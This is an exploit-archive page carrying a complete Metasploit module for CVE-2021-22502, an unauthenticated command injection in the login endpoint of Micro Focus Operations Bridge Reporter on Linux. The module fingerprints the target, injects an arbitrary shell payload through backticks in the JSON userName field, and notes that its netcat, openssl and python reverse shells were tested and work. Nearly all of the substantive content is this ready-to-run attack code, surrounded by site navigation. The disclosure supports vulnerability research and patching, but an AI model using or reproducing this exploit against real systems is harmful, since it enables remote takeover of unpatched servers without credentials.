Micro Focus Operations Bridge Reporter Unauthenticated Command Injection

Authored by Pedro Ribeiro | Site metasploit.com

Posted Apr 30, 2021

This Metasploit module exploits a command injection vulnerability on login that affects Micro Focus Operations Bridge Reporter on Linux, versions 10.40 and below. It is a straight up command injection, with little escaping required, and it works before authentication. This module has been tested on the Linux 10.40 version.

tags | exploit
systems | linux
advisories | CVE-2021-22502
SHA-256 | 86c50279de70c09dd3d6cb11b4b245b4e8b6b272a33434965e6bc86812dced42 **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Micro Focus Operations Bridge Reporter Unauthenticated Command Injection',
        'Description' => %q{
          This module exploits a command injection vulnerability on *login* (yes, you read that right)
          that affects Micro Focus Operations Bridge Reporter on Linux, versions 10.40 and below.
          It's a straight up command injection, with little escaping required and it works before
          authentication.
          This module has been tested on the Linux 10.40 version. Older versions might be affected,
          check the advisory for details.
        },
        'Author' =>
          [
            'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
          ],
        'License' => MSF_LICENSE,
        'References' =>
          [
            ['CVE', '2021-22502'],
            ['ZDI', '21-153'],
            ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md'],
            ['URL', 'https://softwaresupport.softwaregrp.com/doc/KM03775947']
          ],
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Privileged' => true,
        'Payload' =>
          {
            'Space' => 1024, # This should be a safe value, it might take much more
            'DisableNops' => true,
            # avoid null char and the injection char (`)
            'BadChars' => "\x00\x60",
            'Compat' =>
              {
                'PayloadType' => 'cmd',
                # all of these (and more) should exist in a standard RHEL / SuSE
                # ... which are the only two distros supported by Micro Focus OBR
                # (telnet doesn't seem to work though)
                #
                # all reverse shells were tested and work flawlessly
                'RequiredCmd' => 'netcat openssl generic python'
              }
          },
        'Targets' =>
          [
            [ 'Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40', {} ],
          ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2021-02-09'
      )
    )

    register_options(
      [
        # normal (no SSL) port is 21411
        Opt::RPORT(21412),
        OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
        OptString.new('TARGETURI', [true, 'Application path', '/'])
      ]
    )
  end

  def check
    res = send_request_raw({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], '/AdminService/urest/v1/LogonResource'),
      'headers' => { 'Content-Type' => 'application/json' },
      'data' => rand_text_alpha(10..64)
    }, 10)

    if res && res.code == 400 && res.body.include?('Unrecognized token')
      # should return a stack trace like
      # Unrecognized token '#{data}': was expecting ('true', 'false' or 'null')
      #  at [Source: org.glassfish.jersey.message.internal.ReaderInterceptorExecutor$UnC (...)
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Unknown
  end

  def exploit
    # if there are any 0x22 (") chars in the encoded payload, escape them with a backslash
    # we have to do this manually, the encoder is not smart enough to do it, and it will
    # fail if we put 0x22 as a bad char above
    payload_enc = payload.encoded.gsub('"', '\\"')

    # we use 0x60 (`) for injection, but there are lots of other possibilities
    data = "{\"userName\":\"#{rand_text_alpha(1..16)}`#{payload_enc}`\",\"credential\":\"#
{rand_text_alpha(8..20)}\"}"

    send_request_raw({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], '/AdminService/urest/v1/LogonResource'),
      'headers' => { 'Content-Type' => 'application/json' },
      'data' => data
    }, 0)

    # it's tricky to check the return value of the request here
    # - it might hang (no return) and give us a shell
    # - it might return 400 or 500 and give us a shell
    # - it might return 400 or 500 and give us nothing
    # so ignore it altogether and hope for the best
    print_status("#{peer} - Payload sent, now wait for Shelly, if she doesn't arrive try again!")
  end
end
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su Mo Tu We Th Fr
Sa
1 2
3
4 5 6 7 8 9
10
11 12 13 14 15 16
17
18 19 20 21 22 23
24
25 26 27 28 29 30
31

Top Authors In Last 30 Days

Red Hat 180 files
Ubuntu 78 files
Debian 24 files
LiquidWorm 23 files
malvuln 12 files
nu11secur1ty 10 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,733)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,924)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,601)
Encryption (2,349)
Exploit (50,358)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (820)
Kernel (6,290)
Local (14,201)
Magazine (586)
Overflow (12,418)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,043)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,776)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,294)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,448)
Slackware (941)
Solaris (1,607)

Login or Register to add favorites

Spoof (2,166)
SQL Injection (16,101)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,132)
Web (9,357)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,158)
UnixWare (185)
Windows (6,511)
Other

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter

Subscribe to an RSS Feed